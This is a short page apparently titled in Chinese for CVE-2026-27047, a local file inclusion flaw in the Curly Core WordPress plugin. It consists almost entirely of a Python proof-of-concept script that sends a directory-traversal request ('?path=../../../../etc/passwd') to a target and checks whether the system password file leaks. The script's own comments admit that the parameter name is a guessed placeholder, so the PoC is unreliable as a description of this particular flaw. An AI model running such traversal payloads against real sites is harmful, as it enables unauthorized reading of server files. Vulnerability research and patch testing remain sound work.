CVE-2026-27047: Curly Core插件本地文件包含漏洞

# PoC for CVE-2026-27047 (Local File Inclusion) # This script demonstrates checking for the vulnerability by attempting to read /etc/passwd import requests def check_poc(target_url): # The vulnerable endpoint usually involves a parameter specifying a file path # Based on the vulnerability type, we simulate a directory traversal attack vuln_endpoint = "?path=../../../../etc/passwd" # Placeholder parameter name full_url = f"{target_url}{vuln_endpoint}" try: response = requests.get(full_url, timeout=10) # Check if the response contains typical /etc/passwd markers if "root:x:0:0" in response.text: return "[+] Vulnerability confirmed! /etc/passwd file leaked." else: return "[-] Target might not be vulnerable or patched." except requests.exceptions.RequestException as e: return f"[!] Error connecting to target: {e}" if __name__ == "__main__": # Replace with the actual target URL target = "http://example.com/wp-content/plugins/curly-core/" print(check_poc(target))